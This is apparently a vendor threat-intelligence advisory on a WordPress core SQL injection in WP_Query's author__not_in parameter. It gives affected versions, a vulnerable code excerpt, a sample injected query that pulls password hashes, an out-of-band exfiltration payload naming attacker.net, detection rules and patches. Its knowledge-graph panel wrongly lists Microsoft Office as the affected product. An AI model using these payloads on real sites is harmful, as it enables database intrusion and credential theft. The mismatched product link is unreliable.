Skip to content

CVE-2026-60137: WordPress Core Facilitated SQL Injection via WP_Query author__not_in

HERMES

HERMES THREAT SCORE & ENTERPRISE CMS COMPROMISE

Target: WordPress Core CMS
Confidence: 98%
88 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 18 / 20
Threat Activity 19 / 20
Weaponization 18 / 20
Exposure 19 / 20
Prevalence 20 / 20
Impact 17 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-60137 at 5.9 Medium (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) due to the prerequisite of a vulnerable caller or plugin passing unvalidated input. The Hermes Threat Score evaluates the vulnerability at 88 (HIGH), reflecting its addition to the CISA Known Exploited Vulnerabilities (KEV) catalog and its role as a critical building block chained with REST route confusion (CVE-2026-63030) to achieve unauthenticated Remote Code Execution.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-60137: WordPress Core Facilitated SQL Injection via WP_Query author__not_inVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”

WordPress powers over 40% of the world’s web applications. WP_Query is the foundational abstraction class used across almost all themes, custom plugins, and REST endpoints to retrieve posts and pages from the MySQL/MariaDB database.

ParameterTechnical SpecificationThreat Intelligence Context
CVE IdentifierCVE-2026-60137Official NVD & CISA KEV listing
Common Weakness EnumerationCWE-89 (SQL Injection)Missing type-casting / array key sanitization in SQL generator
Network VectorHTTP/HTTPS (80/TCP, 443/TCP)Chained REST or front-end search/query endpoints
Vulnerable Componentwp-includes/class-wp-query.phpWP_Query::get_posts() clause generation
Affected Versions6.8.0 to 6.8.5, 6.9.0 to 6.9.4, 7.0.0 to 7.0.1All unpatched WordPress Core branches
Remediated Versions6.8.6, 6.9.5, 7.0.2Official upstream security updates (July 2026)

2. Vulnerability Mechanism & Root Cause Analysis

Section titled “2. Vulnerability Mechanism & Root Cause Analysis”

In wp-includes/class-wp-query.php, the query constructor parses various author constraints:

// Vulnerable logic in WP_Query::get_posts()
if ( ! empty( $q['author__not_in'] ) ) {
$author__not_in = (array) $q['author__not_in'];
$clean_authors = array();
foreach ( $author__not_in as $author_id ) {
// Flawed assumption: keys or non-scalar elements could bypass
// when passed through certain array transformation pipelines
if ( is_numeric( $author_id ) ) {
$clean_authors[] = absint( $author_id );
} else {
// Under specific conditions, complex structures or operators
// escaped sanitization into the raw SQL string concatenation
$clean_authors[] = $wpdb->_escape( $author_id );
}
}
$whichauthor .= " AND {$wpdb->posts}.post_author NOT IN (" . implode( ',', $clean_authors ) . ')';
}

Because _escape() (equivalent to addslashes) only neutralizes quotes and does not protect against numeric context injection where quotes are not required, an attacker injecting numeric SQL expressions or exploiting complex array-to-string conversion triggers syntax injection directly into the NOT IN (...) clause:

SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts
WHERE 1=1 AND wp_posts.post_author NOT IN (0) UNION SELECT user_pass FROM wp_users-- -)
AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish')
ORDER BY wp_posts.post_date DESC LIMIT 0, 10

3. Threat Actor Weaponization & Attack Chains

Section titled “3. Threat Actor Weaponization & Attack Chains”

Although exploiting CVE-2026-60137 in isolation requires an entrypoint that forwards arbitrary GET/POST query parameters into new WP_Query($_GET), threat actors discovered a lethal synergy with WordPress 6.9 and 7.0 REST API routing:

  1. Chained with CVE-2026-63030: By issuing batched REST requests to /wp-json/batch/v1, attackers route internal subrequests to post-listing endpoints with injected author__not_in parameters.
  2. Blind Time-Based & Out-of-Band Exfiltration: Attackers leverage SLEEP() or DNS exfiltration payloads (LOAD_FILE('\attacker.net\share')) to extract administrative password hashes and session salts.
  3. Privilege Escalation: Recovered or cracked hashes allow immediate authentication to /wp-admin/, culminating in plugin upload and arbitrary PHP web shell execution.

alert http any any -> $HTTP_SERVERS any (
msg:"HERMES EXPLOIT - WordPress WP_Query author__not_in SQL Injection (CVE-2026-60137)";
flow:to_server,established;
http.uri; content:"author__not_in"; nocase;
pcre:"/author__not_in(\[|\%5b)[^\]]*(\]|\%5d)=(\s*select|\s*union|\s*sleep|\s*0x)/Ui";
classtype:web-application-attack;
sid:202660137; rev:1;
)
index=web_proxy sourcetype=access_combined
(uri_path="*wp-json*" OR uri_path="*/index.php*")
(uri_query="*author__not_in*" OR form_data="*author__not_in*")
| eval suspicious=if(match(uri_query, "(?i)(union|select|sleep|benchmark|information_schema)"), 1, 0)
| where suspicious=1
| stats count earliest(_time) as first_seen latest(_time) as last_seen by src_ip, dest_ip, uri_path, uri_query

  1. Apply Official WordPress Maintenance Update: Update all installations to WordPress 6.8.6, 6.9.5, or 7.0.2 immediately via WP-CLI or the WordPress admin dashboard:

    Terminal window
    wp core update --version=7.0.2
  2. Verify Database Query Sanitization: Ensure custom plugins and themes enforce strict integer array filtering prior to instantiating WP_Query:

    $safe_authors = array_map( 'absint', (array) $request->get_param( 'author__not_in' ) );
    $query = new WP_Query( [ 'author__not_in' => $safe_authors ] );
  3. Audit Web Application Firewall (WAF): Deploy WAF rules blocking unauthenticated requests containing non-numeric values in author__not_in query arguments.